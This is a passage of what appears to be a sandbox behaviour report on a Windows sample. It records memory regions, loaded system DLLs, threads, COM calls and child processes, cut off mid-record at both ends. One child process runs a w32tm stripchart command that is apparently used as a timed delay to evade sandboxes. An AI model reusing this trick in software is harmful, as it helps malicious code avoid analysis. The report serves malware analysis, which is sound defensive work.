name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 6013 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 6014 start_va = 0x7ff9ff260000 end_va = 0x7ff9ff2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff260000" filename = "" Region: id = 6015 start_va = 0x2b0000 end_va = 0x2b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 6016 start_va = 0x2c0000 end_va = 0x2c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 6017 start_va = 0xa10000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 6018 start_va = 0xb80000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 6019 start_va = 0x22b0000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 6020 start_va = 0xa10000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 6021 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 6022 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 6023 start_va = 0x2480000 end_va = 0x1a47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 6558 start_va = 0x1a480000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a480000" filename = "" Region: id = 6559 start_va = 0x22b0000 end_va = 0x23c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 6560 start_va = 0x2470000 end_va = 0x247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 6561 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 6562 start_va = 0x1a7f0000 end_va = 0x1a8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 8626 start_va = 0x1a8f0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 8627 start_va = 0x1a9f0000 end_va = 0x1aaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9f0000" filename = "" Region: id = 9088 start_va = 0x1aaf0000 end_va = 0x1ae26fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9169 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9350 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9351 start_va = 0x520000 end_va = 0x5dffff monitored = 0 entry_point = 0x540da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9352 start_va = 0x520000 end_va = 0x5fcfff monitored = 0 entry_point = 0x57e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10015 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10016 start_va = 0x800000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 10290 start_va = 0x7ff5ff560000 end_va = 0x7ff5ff5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff560000" filename = "" Region: id = 10291 start_va = 0x7ff5ff550000 end_va = 0x7ff5ff55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff550000" filename = "" Region: id = 10318 start_va = 0x7ff9ff2d0000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2d0000" filename = "" Region: id = 10319 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10335 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10336 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10337 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10338 start_va = 0x1ae30000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae30000" filename = "" Region: id = 10339 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 10430 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10444 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10496 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10497 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10498 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10499 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10516 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10517 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 10557 start_va = 0x1af30000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 10581 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 10598 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Thread: id = 198 os_tid = 0xc40 [0225.958] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0258.050] RoInitialize () returned 0x1 [0258.051] RoUninitialize () returned 0x0 Thread: id = 215 os_tid = 0xcf0 Thread: id = 248 os_tid = 0x1190 Thread: id = 251 os_tid = 0xba4 [0258.451] CoGetContextToken (in: pToken=0x1a8ef660 | out: pToken=0x1a8ef660) returned 0x800401f0 [0258.451] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0258.451] RoInitialize () returned 0x1 [0258.452] RoUninitialize () returned 0x0 Thread: id = 329 os_tid = 0xeec Thread: id = 333 os_tid = 0xf28 Thread: id = 368 os_tid = 0x960 Process: id = "39" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6694e000" os_pid = "0xc44" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0xc34" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4013 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4014 start_va = 0x5ef8600000 end_va = 0x5ef87fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005ef8600000" filename = "" Region: id = 4015 start_va = 0x5ef8800000 end_va = 0x5ef883ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005ef8800000" filename = "" Region: id = 4016 start_va = 0x1e753fa0000 end_va = 0x1e753fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e753fa0000" filename = "" Region: id = 4017 start_va = 0x1e753fc0000 end_va = 0x1e753fd4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e753fc0000" filename = "" Region: id = 4018 start_va = 0x7df5ff050000 end_va = 0x7ff5ff04ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff050000" filename = "" Region: id = 4019 start_va = 0x7ff7dcfe0000 end_va = 0x7ff7dd002fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7dcfe0000" filename = "" Region: id = 4020 start_va = 0x7ff7ddd70000 end_va = 0x7ff7ddd80fff monitored = 0 entry_point = 0x7ff7ddd716b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 4021 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4022 start_va = 0x1e753fe0000 end_va = 0x1e75421ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e753fe0000" filename = "" Region: id = 4023 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4024 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4025 start_va = 0x1e753fa0000 end_va = 0x1e753faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e753fa0000" filename = "" Region: id = 4026 start_va = 0x7ff7dcee0000 end_va = 0x7ff7dcfdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7dcee0000" filename = "" Region: id = 4027 start_va = 0x1e753fe0000 end_va = 0x1e75409dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4028 start_va = 0x1e754120000 end_va = 0x1e75421ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754120000" filename = "" Region: id = 4029 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4030 start_va = 0x5ef8840000 end_va = 0x5ef887ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005ef8840000" filename = "" Region: id = 4031 start_va = 0x1e754220000 end_va = 0x1e75439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754220000" filename = "" Region: id = 4032 start_va = 0x1e753fb0000 end_va = 0x1e753fb6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e753fb0000" filename = "" Region: id = 4033 start_va = 0x7ffa702d0000 end_va = 0x7ffa70328fff monitored = 0 entry_point = 0x7ffa702dfbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 4034 start_va = 0x1e7540a0000 end_va = 0x1e7540a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e7540a0000" filename = "" Region: id = 4035 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4036 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4037 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4038 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4039 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4040 start_va = 0x1e7540b0000 end_va = 0x1e7540b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e7540b0000" filename = "" Region: id = 4041 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4042 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4043 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4044 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4045 start_va = 0x7ffa769f0000 end_va = 0x7ffa76b75fff monitored = 0 entry_point = 0x7ffa76a3d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4046 start_va = 0x1e7540c0000 end_va = 0x1e7540c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e7540c0000" filename = "" Region: id = 4047 start_va = 0x1e7540d0000 end_va = 0x1e7540d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e7540d0000" filename = "" Region: id = 4048 start_va = 0x1e7543a0000 end_va = 0x1e754527fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e7543a0000" filename = "" Region: id = 4049 start_va = 0x1e754530000 end_va = 0x1e7546b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e754530000" filename = "" Region: id = 4050 start_va = 0x1e7546c0000 end_va = 0x1e755abffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e7546c0000" filename = "" Region: id = 4051 start_va = 0x1e7540e0000 end_va = 0x1e75410ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e7540e0000" filename = "" Region: id = 4052 start_va = 0x5ef8880000 end_va = 0x5ef88bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005ef8880000" filename = "" Region: id = 4053 start_va = 0x7ffa79430000 end_va = 0x7ffa7a98efff monitored = 0 entry_point = 0x7ffa795911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4054 start_va = 0x7ffa786c0000 end_va = 0x7ffa78702fff monitored = 0 entry_point = 0x7ffa786d4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4055 start_va = 0x7ffa78ba0000 end_va = 0x7ffa791e3fff monitored = 0 entry_point = 0x7ffa78d664b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 4056 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4057 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4058 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4059 start_va = 0x7ffa78530000 end_va = 0x7ffa785e4fff monitored = 0 entry_point = 0x7ffa785722e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 4060 start_va = 0x7ffa784e0000 end_va = 0x7ffa7852afff monitored = 0 entry_point = 0x7ffa784e35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4061 start_va = 0x7ffa784a0000 end_va = 0x7ffa784b3fff monitored = 0 entry_point = 0x7ffa784a52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4062 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4063 start_va = 0x1e754220000 end_va = 0x1e75435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754220000" filename = "" Region: id = 4064 start_va = 0x1e754390000 end_va = 0x1e75439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754390000" filename = "" Region: id = 4066 start_va = 0x1e755ac0000 end_va = 0x1e755df6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4067 start_va = 0x1e754220000 end_va = 0x1e754279fff monitored = 1 entry_point = 0x1e7542353f0 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 4068 start_va = 0x1e754280000 end_va = 0x1e7542a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 4069 start_va = 0x1e754350000 end_va = 0x1e75435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754350000" filename = "" Region: id = 4070 start_va = 0x1e755e00000 end_va = 0x1e75601dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e755e00000" filename = "" Region: id = 4071 start_va = 0x1e756020000 end_va = 0x1e756233fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e756020000" filename = "" Region: id = 4072 start_va = 0x1e754220000 end_va = 0x1e754334fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754220000" filename = "" Region: id = 4073 start_va = 0x1e756240000 end_va = 0x1e75645dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e756240000" filename = "" Region: id = 4074 start_va = 0x1e756460000 end_va = 0x1e756577fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e756460000" filename = "" Region: id = 4079 start_va = 0x5ef88c0000 end_va = 0x5ef88fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000005ef88c0000" filename = "" Region: id = 4080 start_va = 0x7ffa7b3e0000 end_va = 0x7ffa7b539fff monitored = 0 entry_point = 0x7ffa7b4238e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4081 start_va = 0x1e7540e0000 end_va = 0x1e7540e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e7540e0000" filename = "" Region: id = 4082 start_va = 0x1e754100000 end_va = 0x1e75410ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e754100000" filename = "" Region: id = 4083 start_va = 0x1e756580000 end_va = 0x1e75663bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e756580000" filename = "" Region: id = 4084 start_va = 0x1e7540e0000 end_va = 0x1e7540e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e7540e0000" filename = "" Region: id = 4085 start_va = 0x7ffa75d20000 end_va = 0x7ffa75d41fff monitored = 0 entry_point = 0x7ffa75d21a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 4086 start_va = 0x7ffa76be0000 end_va = 0x7ffa76bf2fff monitored = 0 entry_point = 0x7ffa76be2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4087 start_va = 0x7ffa782b0000 end_va = 0x7ffa78305fff monitored = 0 entry_point = 0x7ffa782c0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4088 start_va = 0x1e7540f0000 end_va = 0x1e7540f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e7540f0000" filename = "" Region: id = 4089 start_va = 0x1e754110000 end_va = 0x1e754110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e754110000" filename = "" Region: id = 4090 start_va = 0x1e754340000 end_va = 0x1e754340fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e754340000" filename = "" Region: id = 4091 start_va = 0x1e754360000 end_va = 0x1e754364fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 4092 start_va = 0x1e754370000 end_va = 0x1e754370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 4093 start_va = 0x1e754380000 end_va = 0x1e754381fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e754380000" filename = "" Region: id = 4094 start_va = 0x7ffa6d880000 end_va = 0x7ffa6daf3fff monitored = 0 entry_point = 0x7ffa6d8f0400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 4095 start_va = 0x1e756640000 end_va = 0x1e756640fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 4096 start_va = 0x1e756650000 end_va = 0x1e756651fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e756650000" filename = "" Thread: id = 199 os_tid = 0xc48 Thread: id = 200 os_tid = 0xc4c Thread: id = 201 os_tid = 0xc50 Thread: id = 203 os_tid = 0xc54 Process: id = "40" image_name = "w32tm.exe" filename = "c:\\windows\\system32\\w32tm.exe" page_root = "0x317ed000" os_pid = "0xc60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0xc34" cmd_line = "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4109 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4110 start_va = 0x767c400000 end_va = 0x767c5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000767c400000" filename = "" Region: id = 4111 start_va = 0x767c600000 end_va = 0x767c67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000767c600000" filename = "" Region: id = 4112 start_va = 0x1e4743c0000 end_va = 0x1e4743dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001e4743c0000" filename = "" Region: id = 4113 start_va = 0x1e4743e0000 end_va = 0x1e4743f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001e4743e0000" filename = "" Region: id = 4114 start_va = 